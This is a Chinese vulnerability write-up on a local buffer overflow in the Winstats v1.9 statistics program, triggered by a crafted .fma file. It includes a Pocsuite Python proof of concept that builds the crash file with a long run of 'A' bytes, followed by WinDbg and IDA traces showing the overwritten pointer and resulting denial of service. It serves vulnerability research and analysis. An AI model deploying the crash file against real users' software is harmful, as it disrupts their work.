作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/d5e44826d1af59665a677195ecd42327-wsfr32z.exe
PoC:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '69154' # ssvid
version = '1.0'
author = ['k0Sh1血战排行榜']
vulDate = ''
createDate = '2016-01-05'
updateDate = '2016-01-05'
references = ['http://www.sebug.net/vuldb/ssvid-69154']
name = 'Winstats (.fma) Local Buffer Overflow PoC'
appPowerLink = 'http://math.exeter.edu/rparris/peanut/wsfr32z.exe'
appName = 'Winstats'
appVersion = 'v 1.9'
vulType = 'Local Crash PoC'
desc = '''
1、生成poc名称为fma_poc.fma,可自行修改
2、测试过程
点击Fenètre,点击1variable,点击Fichier,点击Ouvrir
,点击Open fma_poc.fma
3、提供漏洞详情分析,期待attack!:)
'''
samples = ['']
def _attack(self):
result = {}
#Write your code here
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
hd = ('\xB9\x01\x00\x00\x09\x00\x00\x00'
'\x50\x00\x00\x00\x5D\x00\x00\x00'
'\x00\x02\x00\x00\x00\x02\x00\x00'
'\x00\x00\x00\x00\x01\x00\x00\x00'
'\x3D\x00\x00\x00\xD9\xFF\xFF\xFF'
'\x2C\x01\x00\x00\x64\x00\x00\x00'
'\x64\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x0A')
ft = ('\x0A\x00\x00\x00\x0A\x00\x00\x00\x0A\x00'
'\x00\x00\x0C\x00\x00\x00\xF0\xFF\xFF\xFF'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00'
'\x08\x02\x01\x31\x43\x6F\x75\x72\x69\x65'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08'
'\x02\x01\x31\x53\x79\x6D\x62\x6F\x6C\x00'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
'\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
'\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF0\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
'\x02\x01\x02\x54\x69\x6D\x65\x73\x00\x72'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
'\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
'\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
'\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x09\x00\x10\x00\x00\x00\x00\x00\x00'
'\x80\x20\x13\x14\x36\xF7\x57\x26\x96\x57'
'\x22\x04\xE6\x57\x70\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00')
junk = '\x41' * 10000
exp = hd + junk + ft
f = open("fma_poc.fma",'w')
f.write(exp)
f.close()
result['FileInfo'] = {}
result['FileInfo']['Content'] = 'Create OK!'
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Create fma PoC failure!')
return output
register(TestPOC)
测试环境:
Windows xp sp3
PoC是基于创宇的Pocsuite写的,其实自己调整也很简单,对应的使用方法已经写在PoC的说明里了。
漏洞复现和存疑
这是一处奇葩的漏洞,奇葩的作者几乎把所有kernel32.dll中的api重写了,但功能和kernel32中的api没有任何区别,漏洞作者先后调用了很多次fwrite,然而在其中一次fwrite的时候,将没有长度控制的畸形字符串传入缓冲区,就是这次畸形字符串传入,导致了某处存放的关键指针被覆盖,从而在某一次fwrite的时候,导致了对这个被覆盖指针的调用,而这个地址不可用,从而导致了漏洞的发生。
由于第二次读取时指针可控,导致拷贝内容可控,但实际上由于拷贝的数组大小有限,只能造成拒绝服务漏洞。
首先我们生成样本,然后加载程序,程序崩溃,附加windbg,到达漏洞现场。
(764.408): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00d56b7e ebx=0051fea4 ecx=0000003d edx=000000f4 esi=41414141 edi=00d56b7e
eip=004f004b esp=0012f8d4 ebp=0012f8dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wstatfr!_GetExceptDLLinfo+0xef005:
004f004b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,此时esi的值是41414141,而此时执行rep movs操作时,读取esi地址的值,这个地方显然是没有内容的,读取失败导致程序崩溃,我们通过kb回溯堆栈调用情况。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f8dc 004f3a35 00d56b7e 41414141 000000f4 wstatfr!_GetExceptDLLinfo+0xef005
0012f900 004f3d52 41414141 000000f4 0051fea4 wstatfr!__unlockDebuggerData$qv+0x2ee5
0012f91c 0040a762 41414141 000000f4 00000001 wstatfr!__unlockDebuggerData$qv+0x3202
0012f9a4 00409598 00ac7ab0 00000000 00000003 wstatfr!_GetExceptDLLinfo+0x971c
0012fabc 00409514 00ac7ab0 00ac7ab0 0012fae4 wstatfr!_GetExceptDLLinfo+0x8552
可以看到,在0040a762和004f3d52两处调用时,第一个参数就产生了一定的问题,因此我们不能仅仅回溯到004f3a35前的位置,最好从00409598的位置,从此时开始回溯过程。
静态漏洞分析
首先我们查看00409598附近的代码
.text:00409590 push 0
.text:00409592 push ebx
.text:00409593 call sub_40A570
.text:00409598 add esp, 8
其实这里没有什么特别的要注意的,但是我在分析时看到上面有一段我们值得稍微注意一下的地方。
add esp, 8
push offset mode ; "wb"
lea edx, [ebp+path]
push edx ; path
call _fopen
add esp, 8
mov esi, eax
mov [ebx+7Eh], esi
这里有一处fopen调用,但是我们注意到打开的姿势是wb,是写文件,这一点稍后我们动态调试时会讲解。
由于中间堆栈调用较多,如果单步调试会非常慢,这次我们采用先静态后动态的方法,跳过一些无关操作,加快调试速度,接下来我们看0012f91c附近的调用。
.text:0040A693 mov [edi+4Ch], eax
.text:0040A696 push dword ptr [ebx+7Eh] ; stream
.text:0040A699 push 1 ; n
.text:0040A69B push 50h ; size
.text:0040A69D push edi ; ptr
.text:0040A69E call _fwrite
.text:0040A6A3 add esp, 10h
.text:0040A6A6 lea edx, [ebx+665h]
.text:0040A6AC push dword ptr [ebx+7Eh] ; stream
.text:0040A6AF push 1 ; n
.text:0040A6B1 push 28h ; size
.text:0040A6B3 push edx ; ptr
.text:0040A6B4 call _fwrite
.text:0040A6B9 add esp, 10h
.text:0040A6BC lea ecx, [ebx+409h]
.text:0040A6C2 push dword ptr [ebx+7Eh] ; stream
.text:0040A6C5 push 1 ; n
.text:0040A6C7 push 258h ; size
.text:0040A6CC push ecx ; ptr
.text:0040A6CD call _fwrite
.text:0040A6D2 add esp, 10h
.text:0040A6D5 lea eax, [ebx+6C3h]
.text:0040A6DB push dword ptr [ebx+7Eh] ; stream
.text:0040A6DE push 1 ; n
.text:0040A6E0 push 28h ; size
.text:0040A6E2 push eax ; ptr
.text:0040A6E3 call _fwrite
.text:0040A6E8 add esp, 10h
.text:0040A6EB lea edx, [ebp+var_64]
.text:0040A6EE push dword ptr [ebx+7Eh] ; stream
.text:0040A6F1 push 1 ; n
.text:0040A6F3 push 11h ; size
.text:0040A6F5 push edx ; ptr
.text:0040A6F6 call _fwrite
.text:0040A6FB add esp, 10h
.text:0040A6FE lea ecx, [ebp+var_64]
.text:0040A701 push dword ptr [ebx+7Eh] ; stream
.text:0040A704 push 1 ; n
.text:0040A706 push 11h ; size
.text:0040A708 push ecx ; ptr
.text:0040A709 call _fwrite
.text:0040A70E add esp, 10h
.text:0040A711 lea eax, [ebp+var_64]
.text:0040A714 push dword ptr [ebx+7Eh] ; stream
.text:0040A717 push 1 ; n
.text:0040A719 push 11h ; size
.text:0040A71B push eax ; ptr
.text:0040A71C call _fwrite
.text:0040A721 add esp, 10h
.text:0040A724 lea edx, [ebp+var_64]
.text:0040A727 push dword ptr [ebx+7Eh] ; stream
.text:0040A72A push 1 ; n
.text:0040A72C push 11h ; size
.text:0040A72E push edx ; ptr
.text:0040A72F call _fwrite
.text:0040A734 add esp, 10h
.text:0040A737 lea ecx, [ebx+72Eh]
.text:0040A73D push dword ptr [ebx+7Eh] ; stream
.text:0040A740 push 1 ; n
.text:0040A742 push 1Eh ; size
.text:0040A744 push ecx ; ptr
.text:0040A745 call _fwrite
.text:0040A74A add esp, 10h
.text:0040A74D push dword ptr [ebx+7Eh] ; stream
.text:0040A750 push 1 ; n
.text:0040A752 push 0F4h ; size
.text:0040A757 push dword ptr [ebx+7CAh] ; ptr
.text:0040A75D call _fwrite
这里不加代码注释了,因为都是相关的重复操作,这里多次调用fwrite,其实是写文件的操作,之前堆栈回溯到的位置是0040a75d。
接下来,我们继续找到下一处调用。
.text:004F3D47 push edx ; stream
.text:004F3D48 push ecx ; len
.text:004F3D49 mov eax, [ebp+src]
.text:004F3D4C push eax ; src
.text:004F3D4D call ___fputn
.text:004F3D52 add esp, 0Ch
这是一处fput,主要是推送流,其实如果打开fwrite会发现,这处fput是fwrite中的一步,只是作者重写了一下而已,那么接下来一处也是如此。
.text:004F3A2B push esi ; n
.text:004F3A2C push edi ; src
.text:004F3A2D mov ecx, [ebx]
.text:004F3A2F push ecx ; dest
.text:004F3A30 call _memcpy
这里其实也是fwrite中的一部分,而这里也是作者重写了,也是漏洞发生的位置,memcpy可以继续步入,也在主程序中。
动态调试
分析清楚后,我们重新加载这个程序,在第一处位置下断点,到达后,我们来看看刚才提到的fopen这里的情况。
0:004> g
Breakpoint 0 hit
eax=0012f024 ebx=00ac7ab0 ecx=00000000 edx=0012f024 esi=00000003 edi=00000000
eip=00409578 esp=0012f014 ebp=0012f124 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wstatfr!_GetExceptDLLinfo+0x8532:
00409578 e803a40e00 call wstatfr!__unlockDebuggerData$qv+0x2e30 (004f3980)
0:000> dc edx
0012f024 575c3a43 4f444e49 775c5357 692e3173 C:\WINDOWS\ws1.i
0012f034 7700696e 00000006 000000dd 00000000 ni.w
可以看到,这里edx,也就是第一个参数的值是一个路径,这里正好印证了我们触发漏洞的位置,在关闭当前窗口的地方触发的。
这时我们要思考一下程序在此时的逻辑,之前触发的步骤我已经写在poc中,程序打开时,读取文件时,并没有发生任何问题,当程序当前窗口关闭时,程序会向配置文件中写入某些参数。
因此这里的wb也可以理解了,接下来我们继续跟踪,到达
0:004> g
Breakpoint 0 hit
eax=0051fea4 ebx=00ac7ab0 ecx=00008301 edx=00d560e4 esi=0051fea4 edi=00000000
eip=00409593 esp=0012f014 ebp=0012f124 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wstatfr!_GetExceptDLLinfo+0x854d:
00409593 e8d80f0000 call wstatfr!_GetExceptDLLinfo+0x952a (0040a570)
0:000> dd esp
0012f014 00ac7ab0 00000000 00000003 00ac7ab0
这里并没有什么好说的,只是调用了某处函数,其实我们也可以称这里为漏洞函数,接下来我们进入连续fwrite中,我们在这里直接用ida pro来看一下。
fwrite(&ptr, 0x50u, 1u, *(FILE **)(a1 + 126));
fwrite((const void *)(a1 + 1637), 0x28u, 1u, *(FILE **)(a1 + 126));
fwrite((const void *)(a1 + 1033), 0x258u, 1u, *(FILE **)(a1 + 126));
fwrite((const void *)(a1 + 1731), 0x28u, 1u, *(FILE **)(a1 + 126));
fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
fwrite((const void *)(a1 + 1838), 0x1Eu, 1u, *(FILE **)(a1 + 126));
可以看到,这里连续写入文件指针a1+126的位置,而正是上面的某一次写入时的畸形字符串传入,导致了a1+1838指针被覆盖,导致后续读取操作失败。我们到达漏洞函数的位置。
0:000> p
eax=00000001 ebx=00ac7ab0 ecx=0000001e edx=00000000 esi=00ac9357 edi=0012efbc
eip=0040a757 esp=0012ef90 ebp=0012f00c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wstatfr!_GetExceptDLLinfo+0x9711:
0040a757 ffb3ca070000 push dword ptr [ebx+7CAh] ds:0023:00ac827a=41414141
0:000> p
eax=00000001 ebx=00ac7ab0 ecx=0000001e edx=00000000 esi=00ac9357 edi=0012efbc
eip=0040a75d esp=0012ef8c ebp=0012f00c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wstatfr!_GetExceptDLLinfo+0x9717:
0040a75d e8ca950e00 call wstatfr!__unlockDebuggerData$qv+0x31dc (004f3d2c)
0:000> dc ebx+7ca
00ac827a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ac828a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ac829a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ac82aa 41414141 41414141 41414141 4141414
可以看到此时指针已经被41414141覆盖了。
总结一下漏洞发生的过程,是由于对打开文件的长度没有进行有效检查,从而导致文件某一部分保存到数组空间的时候会覆盖某些关键指针,在执行文件的打开操作时,发生指针调用失败。